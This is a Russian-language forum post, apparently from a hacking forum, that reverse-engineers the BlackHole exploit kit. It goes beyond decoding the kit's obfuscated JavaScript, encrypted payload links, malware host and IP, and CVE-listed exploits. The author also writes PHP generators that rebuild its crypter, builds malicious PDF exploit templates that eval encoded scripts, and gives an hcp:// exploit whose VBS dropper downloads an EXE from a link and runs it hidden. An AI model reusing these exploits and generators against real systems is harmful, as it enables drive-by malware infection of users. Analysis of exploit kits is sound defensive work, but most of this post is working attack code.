Сегодня я, вместе с вами, хочу разобрать exploit pack, который является одним из лидеров на рынке, а именно BlackHole exploit kit.
Исследования будут проводиться под User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Итак вооружившись всем необходимым софтом и пивом
Код:
http://gghjfyagmcp.com/main.php?page=13682f26313730a7

Код:
<html><body><applet height=1 code='json.Parser.class' width=1 archive='./content/field.jar'>
<param val=123 value='e00oMDDXXeKuTQXmqoVqRmM9iDBVoeoju8gW6h83' sdva=123 asd='qwrqw' name="p" a='2'/></applet><script>
function setCharAt(str,q,index) {
return String.fromCharCode(1*str[index] + 27);
}
md="a";
with(document)
a=createTextNode("e"+"v29");
dqwvwq=function(){
return "73&84&72&90&82&74&83&/*Порезано*/".split("&");
}
a.replaceData(2,2,"a"+'l');
e=eval(a["data"]);
c=new String();
i=0;
s=dqwvwq.call();
while(i!=s.length){
c+=setCharAt(s,123,i);
i++;
}
try{document.gewgewg.gewgqwer21}catch(q){
e©;
}
</script></body></html>
Код:
<applet height=1 code='json.Parser.class' width=1 archive='./content/field.jar'>
<param val=123 value='e00oMDDXXeKuTQXmqoVqRmM9iDBVoeoju8gW6h83' sdva=123 asd='qwrqw' name="p" a='2'/></applet>
Набросаем кодес для декода линка.
На JavaScript (obe_dec.js)
Код:
var srctable = "aDLXq-_.mjnWN6fwcsKB?xbITS=CykGvd91Z:%ElR5po0rzA8/JYP72#ue&t4iQFhVU3OMgH";
var desttable = "QOn7cZAVmK/G4WuBqfLxj1_tlE8PTrpN2Y3:MUa=&5oRi%y?9DHv-Cgwkh60b.FdeSI#zJXs";
var strochka="e00oMDDXXeKuTQXmqoVqRmM9iDBVoeoju8gW6h83";
var ret='';
var ij;
var index;
for(ij=0;ij<strochka.length;ij++)
{
index=desttable.indexOf(strochka.charAt(ij));
if(index>-1)
{
ret+=srctable.charAt(index);
}
}
document.write(ret);
Код:
<?php
function decode($string,$key,$srctable) {
$out='';
for($i=0;$i<strlen($string);$i++) {
$o=$string[$i];
$m=strpos($srctable,$o);
if($m>-1){
$out .= $key[$m];
} else {
$out.=$o;
}
}
return $out;
}
$key = "aDLXq-_.mjnWN6fwcsKB?xbITS=CykGvd91Z:%ElR5po0rzA8/JYP72#ue&t4iQFhVU3OMgH";
$srctable = "QOn7cZAVmK/G4WuBqfLxj1_tlE8PTrpN2Y3:MUa=&5oRi%y?9DHv-Cgwkh60b.FdeSI#zJXs";
$string="e00oMDDXXeKuTQXmqoVqRmM9iDBVoeoju8gW6h83";
echo decode($string,$key,$srctable);
?>
Код:
http://gghjfyagmcp.com:80/w.php?f=26&e=1
Кодес для Chrome (chrome_dec.htm):

Код:
<html><body>
<script>
function setCharAt(str,q,index) {
return String.fromCharCode(1*str[index] + 27);
}
md="a";
with(document)
a=createTextNode("e"+"v29");
dqwvwq=function(){
return "73&84&72&90&82&74&83&/*Порезано*/".split("&");
}
a.replaceData(2,2,"a"+'l');
e=eval(a["data"]);
c=new String();
i=0;
s=dqwvwq.call();
while(i!=s.length){
c+=setCharAt(s,123,i);
i++;
}
try{document.gewgewg.gewgqwer21}catch(q){
console.log( c );
}
</script></body></html>

Код:
var s= "73&84&72&90&82&74&83&89&/*Порезано*/".split("&");
function setCharAt(str,q,index)
{
return String.fromCharCode(1*str[index] + 27);
}
i=0;
c='';
while(i!=s.length)
{
c+=setCharAt(s,123,i);
i++;
}
document.write©
Реализация крипта на PHP (crypt.php):
Код:
<?php
function cryptstr($input, $separator) {
$output = '';
$len = strlen($input);
for ($i = 0; $i <= $len-1; $i++) {
$rnd = 27; //mt_rand(100000,999999);
$out = ord($input[$i])-$rnd;
$output.=$out.$separator;
}
$output = substr($output, 0, strlen($output)-1);
return $output;
}
$script = 'alert(\'damagelab\')';
$tpl = '<html><body><script>
function setCharAt(str,q,index) {
return String.fromCharCode(1*str[index] + 27);
}
md="a";
with(document)
a=createTextNode("e"+"v29");
dqwvwq=function(){
return "'. cryptstr($script , '&') .'".split("&");}
a.replaceData(2,2,"a"+\'l\');
e=eval(a["data"]);
c=new String();
i=0;
s=dqwvwq.call();
while(i!=s.length){
c+=setCharAt(s,123,i);
i++;
}
try{document.gewgewg.gewgqwer21}catch(q){
e( c );
}
</script></body></html>';
echo $tpl;
?>
spl0 javatrust CVE-2010-4452
Как видим-опять шифрованный линк
vMMCWJJ77vxcyP7Z2C%2gZWuEJA%CvCjc=9h:L=E
Линк к самому классу
Код:
http://::@1572572686/Main
Код:
http://93.187.142.14/Main.class

Как видим:
Код:
searchService = new StringBuffer("/UyuMaYRsL:WSKPv32tmcqdVEHi").append("k4bBr91=hGwOAF?#%-60Df5ZIzNxCT").append("&pnQgo7XeJj.8_l").substring(0);
str = "E39fpzhSu-P_24Lc7v.xYXZDgCUBOMt#A5y".concat("/wImFVa0QHqN1li6&nGsRKokTr?J%Wb8j:=ed");
Результат-линк на скачку ехе:
Код:
http://gghjfyagmcp.com:80/w.php?f=26&e=1
spl3-javaskyline CVE-2010-3552
Путь к ехе легко получить с помощью Chrome или malzilla (skyline_dec.htm или skyline_dec.js)

spl4()-mdac CVE-2006-0003
spl5()-pdfall (Collab.collectEmailInfo(Bugtraq ID:27641), util.printf(Bugtraq ID:30035), getIcon(Bugtraq ID:34169), newPlayer(Bugtraq ID:37331))
Разобрать его не составит труда (pdfall_dec.js):

Код:
a=new String("if(e'1)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@");
s="";
z='0%$1%$2%$3%$2%$4%$5%$/*Порезано*/5'.split("%$");
for(j=0;j<z['length'];j++)
{
s=s+a[z[j]];
}
document.write(s);
Код:
<?php
function encrypt($string,$key,$separator) {
$out='';
for($i=0;$i<strlen($string);$i++) {
$o=$string[$i];
$m=strpos($key,$o);
if($m>-1){
$out .= $m.$separator;
} else {
$out.=$o.$separator;
}
}
return $out;
}
$script = "app.alert('damagelab');";
$key = "if(e'1)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@";
$encoded = encrypt($script, $key, '%$');
$tpl = "%PDF-1.6
%вгПУ
7 0 obj
<</Count 1/Type/Pages/Kids[28 0 R]>>
endobj
21 0 obj
<</Names 23 0 R/Outlines 1 0 R/Metadata 9 0 R/AcroForm 22 0 R/Pages 7 0 R/OCProperties<</D<</RBGroups[]>>>>/StructTreeRoot 11 0 R/Type/Catalog>>
endobj
23 0 obj
<</JavaScript 24 0 R/AP 8 0 R>>
endobj
24 0 obj
<</Names[123 0 R 76 0 R]>>
endobj
25 0 obj
<</S/JavaScript/JS 26 0 R>>
endobj
26 0 obj
<</Length 1108/Filter[/FlateDecode]>>stream
endstream
endobj
28 0 obj
<</Parent 7 0 R/StructParents 0/Contents 60 0 R/Rotate 90/MediaBox[0 0 612 792]/Resources<</XObject
<</Im0 69 0 R>>/ColorSpace<</CS0 59 0 R>>/Font<</TT0 61 0 R>>/Properties/ExtGState>>/Type/Page>>
endobj
60 0 obj
<</Length 539/Filter/FlateDecode/Type/Contents>>stream
endstream
endobj
76 0 obj
<</S/JavaScript/JS(j='vt34t';
b=\"l\";
b2=\"a\"
+b;
a=new String\(\"if\(e'1\)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@\"\);
try
{
this.info\(\);
}catch\(q\){
c='b';
e=j[
's'
+
'u'+
c
+'str']\(\);
try{
b='v'+b2;
b='e'+b;
if\(!google.search\(\)\)
a=2;
}
catch\(q\){
e=
e[
b];
}
{
s=\"\";
z='". $encoded ."'.split\(\"%$\"\);
for\(j=0;j<z['length'];j++\)
try{
if\(!google.search\(\)\)throw 1;}catch\(q\){
s
=s+
a[
z[
j]];
}
}}
try{if\(!google.search\(\)\)new ewt;}
catch\(q\){
e\(s\);
})>>
endobj
xref
0 155
trailer
<</Size 155
/Root 21 0 R>>
xref
0 0
trailer
<</Size 155/Prev 75626/XRefStm 416/Root 21 0 R>>
startxref
78995
%%EOF";
file_put_contents('pdfall.pdf', $tpl);
?>
Попробуем воссоздать генерацию (libtiff.php):
Код:
<?php
function encrypt($string,$key, $separator) {
$out='';
for($i=0;$i<strlen($string);$i++) {
$o=$string[$i];
$m=strpos($key,$o);
if($m>-1){
$out .= $m.$separator;
} else {
$out.=$o.$separator;
}
}
return $out;
}
$script = "app.alert('damagelab');";
$key = "var _l1='4c206f5783eb9d;pnwAy()utio{.VsSg',h<+I}*/DkR%x-W[]mCj^?:LBKQYEUqFM";
$tpl = "%PDF-1.6
%вгПУ
1 0 obj
<</MediaBox [0 0 1 1] /Type/Page /Contents 3 0 R /Parent 5 0 R>>
endobj
5 0 obj
<</Count 2 /Kids [1 0 R] /Type/Pages>>
endobj
8 0 obj
<</Type/EmbeddedFile /Length 5125>>
stream
<xdp:xdp
xmlns:xdp=\"http://ns.adobe.com/xdp/\">
<config><present>
<pdf>
<interactive>1</interactive>
<version>1.6
</version>
</pdf><xdp><packets>*</packets></xdp>
<destination>pdf</destination>
</present></config>
<template xmlns=\"http://www.xfa.org/schema/xfa-template/2.5/\">
<subform
name=\"ergfb435tb43t\"> <subform name=\"v3v5325v\">
<field name=\"qwe123\"><event activity='initialize'>
<script
contentType='application/x-javascript'>
s=new String();
try{
b=[". encrypt($script,$key,',') ."];
this.info();
}catch(qq){
a=\"var _l1='4c206f5783eb9d;pnwAy()utio{.VsSg',h<+I}*/DkR%x-W[]mCj^?:LBKQYEUqFM\";
i=0;
while(i!=3649){
z=b[i
];
s+=a[z];
i=1+i;
}
a=this;
e=a.eval;k=s;e
(k);}
</script></event><ui asd='12312'>
<imageEdit test=\"qwe\"/>
</ui>
</field>
</subform>
</subform><Gsdg/></template><sagwehwe/>
<xfa:datasets xmlns:xfa=\"http://www.xfa.org/schema/xfa-data/1.0/\">
<xfa:data><ergfb435tb43t>
</ergfb435tb43t>
</xfa:data>
</xfa:datasets>
</xdp:xdp>
endstream
endobj
18 0 obj
<</Rect [12.5 5.1 18.3 7.7] /Subtype/Widget /Ff 65536 /T (qwe123[0]) /MK
<</TP 1>> /Type/Annot /FT/Btn /DA (/CourierStd 10 Tf 0 g) /Parent 19 0 R /TU (qwe123) /P 1 0 R /F 4>>
endobj
19 0 obj
<</T (v3v5325v[0]) /Kids [18 0 R] /Parent 20 0 R>>
endobj
20 0 obj
<</T (ergfb435tb43t[0]) /Kids [19 0 R]>>
endobj
23 0 obj
<</AcroForm 21 0 R /Pages 5 0 R /Type/Catalog>>
endobj
21 0 obj
<</DA (/Helv 0 Tf 0 g ) /Fields [20 0 R] /XFA 8 0 R>>
endobj
xref
0 24
trailer
<</Size 22 /Root 23 0 R>>
startxref
17175
%%EOF";
file_put_contents('libtiff.pdf', $tpl);
?>

Упрощенная вариация на php (hcp.php):
Код:
<?php
function cryptstr($input, $separator) {
$output = '';
$len = strlen($input);
for ($i = 0; $i <= $len-1; $i++) {
$rnd = 27; //mt_rand(100000,999999);
$out = ord($input[$i])-$rnd;
$output.=$out.$separator;
}
$output = substr($output, 0, strlen($output)-1);
return $output;
}
$link = "http://localhost/load.php";
$src = "var iframe='<iframe src=\"h'+'cp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=<script defer>Run(\'cmd /c echo FileName !
@№TEMP№}file.exe@>>№TEMP№}go.gPs]]echo url!@". $link ."@ >>№TEMP№}go.gPs]]echo Set objHTTP ! CreateObject(@MSXML2.XMLHTTP@)>>№TEMP№}go.gPs]]echo Call
objHTTP.Open(@GET@, url, False)>>№TEMP№}go.gPs]]echo objJOPA>>№TEMP№}go.gPs]]echo set oStream ! createobject(@Adodb.Stream@)>>№TEMP№}go.gPs]]echo Const adTypeBinary !
1 >>№TEMP№}go.gPs]]echo Const adSaveCreateOverWrite ! 2 >>№TEMP№}go.gPs]]echo Const adSaveCreateNotExist ! 1 >>№TEMP№}go.gPs]]echo oStream.type ! adTypeBinary
>>№TEMP№}go.gPs]]echo oStream.open >>№TEMP№}go.gPs]]echo oStream.write objHTTP.responseBody>>№TEMP№}go.gPs]]echo oStream.savetofile FileName,
adSaveCreateNotExist >>№TEMP№}go.gPs]]echo oStream.close>>№TEMP№}go.gPs]]echo set oStream ! nothing >>№TEMP№}go.gPs]]echo Set xml ! Nothing >>№TEMP№}go.gPs]]echo Set
WshShell ! CreateObject(@WScript.Shell@) >>№TEMP№}go.gPs]]echo WshShell.Run FileName, 0, True >>№TEMP№}go.gPs]]echo Set FSO ! CreateObject(@Scripting.FileSystemObject@)
>>№TEMP№}go.gPs]]echo FSO.DeleteFile @№TEMP№}go.vbs@ >>№TEMP№}go.gPs|cscript №TEMP№}go.gPs>nul\'.replace(/!/g, String.fromCharCode(61)).replace(/@/g,
String.fromCharCode(34)).replace(/]/g, String.fromCharCode(38)).replace(/{/g, String.fromCharCode(63)).replace(/JOPA/g,
String.fromCharCode(72,84,84,80,46,83,101,110,100)).replace(/gPs/g, String.fromCharCode(118,98,115)).replace(/}/g, String.fromCharCode(92)).replace(/№/g,
String.fromCharCode(37)));</script>\">';";
$tpl = '<html><body><script>
function setCharAt(str,q,index) {
return String.fromCharCode(1*str[index] + 27);
}
md="a";
with(document)
a=createTextNode("e"+"v29");
dqwvwq=function(){
return "'. cryptstr($src , '&') .'".split("&");}
a.replaceData(2,2,"a"+\'l\');
e=eval(a["data"]);
c=new String();
i=0;
s=dqwvwq.call();
while(i!=s.length){
c+=setCharAt(s,123,i);
i++;
}
try{document.gewgewg.gewgqwer21}catch(q){
e©;
}
</script></body></html>';
?>
spl7 - flash (CVE-2011-2110)
Код:
if (((ver1==10&&ver2==0&&ver3>40)||((ver1==10&&ver2>0)&&(ver1==10&&ver2<2)))||((ver1==10&&ver2==2&&ver3<159)||(ver1==10&&ver2<2)))
Ф-я getShellCode() отдает шк(который поксорен), переходим на вкладку Misc Decoders, вставляем шк=>UCS2 To Hex, копируем, переходим на вкладку Hex view=>ПКМ Paste as hex и брутим на наличие строки http, потом жмякаем Apply XOR

Сорцы флешек можно посмотреть с помощью Flash Decompiler (scoreswf.dump и fieldswf.dump )

===================================================================
Всех благодарю за внимание!